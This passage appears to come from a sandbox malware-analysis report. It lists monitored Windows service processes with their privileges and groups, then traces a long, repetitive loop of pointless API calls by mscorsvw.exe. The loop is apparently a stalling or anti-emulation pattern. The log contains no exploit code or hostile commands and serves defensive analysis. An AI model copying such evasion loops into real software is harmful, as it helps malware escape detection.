= 292 os_tid = 0x7c4 Thread: id = 293 os_tid = 0x56c Thread: id = 294 os_tid = 0x474 Thread: id = 295 os_tid = 0x14c Thread: id = 296 os_tid = 0x454 Thread: id = 297 os_tid = 0x6dc Thread: id = 298 os_tid = 0x7d0 Thread: id = 299 os_tid = 0x648 Thread: id = 300 os_tid = 0x668 Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5e786000" os_pid = "0x5cc" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xe], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000435e3" [0xc000000f], "LOCAL" [0x7] Thread: id = 301 os_tid = 0xad0 Thread: id = 302 os_tid = 0x658 Thread: id = 303 os_tid = 0x430 Thread: id = 304 os_tid = 0x340 Thread: id = 305 os_tid = 0x4d8 Thread: id = 306 os_tid = 0x4d4 Thread: id = 459 os_tid = 0x560 Thread: id = 474 os_tid = 0x89c Process: id = "18" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x5d88c000" os_pid = "0x674" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043b05" [0xc000000f], "LOCAL" [0x7] Thread: id = 307 os_tid = 0x628 Thread: id = 308 os_tid = 0x4e0 Thread: id = 309 os_tid = 0x748 Thread: id = 310 os_tid = 0x64c Thread: id = 311 os_tid = 0x6a4 Thread: id = 312 os_tid = 0x760 Thread: id = 460 os_tid = 0x5dc Thread: id = 483 os_tid = 0xcc Thread: id = 486 os_tid = 0xd0 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5cc91000" os_pid = "0x738" os_integrity_level = "0x4000" os_privileges = "0x209e0128" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k secsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\WinDefend" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043ca8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 313 os_tid = 0x2a4 Thread: id = 314 os_tid = 0x6e4 Thread: id = 315 os_tid = 0x724 Thread: id = 316 os_tid = 0x670 Thread: id = 317 os_tid = 0x744 Thread: id = 318 os_tid = 0x7a8 Thread: id = 319 os_tid = 0x348 Thread: id = 320 os_tid = 0x784 Thread: id = 321 os_tid = 0x634 Thread: id = 322 os_tid = 0x5c8 Thread: id = 323 os_tid = 0x3b4 Thread: id = 324 os_tid = 0x5a8 Thread: id = 325 os_tid = 0x6a8 Thread: id = 326 os_tid = 0x224 Thread: id = 393 os_tid = 0xa00 Thread: id = 408 os_tid = 0xb88 Thread: id = 448 os_tid = 0xa7c Thread: id = 461 os_tid = 0xbbc Thread: id = 491 os_tid = 0xbfc Process: id = "20" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe" page_root = "0x322a9000" os_pid = "0xaa0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 327 os_tid = 0x174 [0037.016] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0037.016] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0037.016] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.016] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=32) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=33) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=34) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=35) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=36) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=37) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.017] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.017] IsCharLowerA (ch=38) returned 0 [0037.017] CountClipboardFormats () returned 0 [0037.017] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=39) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=40) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=41) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=42) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=43) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=44) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=45) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=46) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.018] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.018] IsCharLowerA (ch=47) returned 0 [0037.018] CountClipboardFormats () returned 0 [0037.018] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=48) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=49) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=50) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=51) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=52) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=53) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=54) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=55) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.019] IsCharLowerA (ch=56) returned 0 [0037.019] CountClipboardFormats () returned 0 [0037.019] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.019] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=57) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=58) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=59) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=60) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=61) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=62) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=63) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=32) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=33) returned 0 [0037.020] CountClipboardFormats () returned 0 [0037.020] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.020] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.020] IsCharLowerA (ch=34) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=35) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=36) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=37) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=38) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=39) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=40) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=41) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=42) returned 0 [0037.021] CountClipboardFormats () returned 0 [0037.021] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.021] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.021] IsCharLowerA (ch=43) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=44) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=45) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=46) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=47) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=48) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=49) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=50) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=51) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.022] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.022] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.022] IsCharLowerA (ch=52) returned 0 [0037.022] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=53) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=54) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=55) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=56) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=57) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=58) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=59) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=60) returned 0 [0037.023] CountClipboardFormats () returned 0 [0037.023] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.023] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.023] IsCharLowerA (ch=61) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=62) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=63) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=32) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=33) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=34) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=35) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=36) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=37) returned 0 [0037.024] CountClipboardFormats () returned 0 [0037.024] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.024] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.024] IsCharLowerA (ch=38) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=39) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=40) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=41) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=42) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=43) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=44) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=45) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=46) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.025] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.025] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.025] IsCharLowerA (ch=47) returned 0 [0037.025] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=48) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=49) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=50) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=51) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=52) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=53) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=54) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=55) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.026] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.026] IsCharLowerA (ch=56) returned 0 [0037.026] CountClipboardFormats () returned 0 [0037.026] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=57) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=58) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=59) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=60) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=61) returned 0 [0037.027] CountClipboardFormats () returned 0 [0037.027] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0037.027] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0037.027] IsCharLowerA (ch=62) returned 0 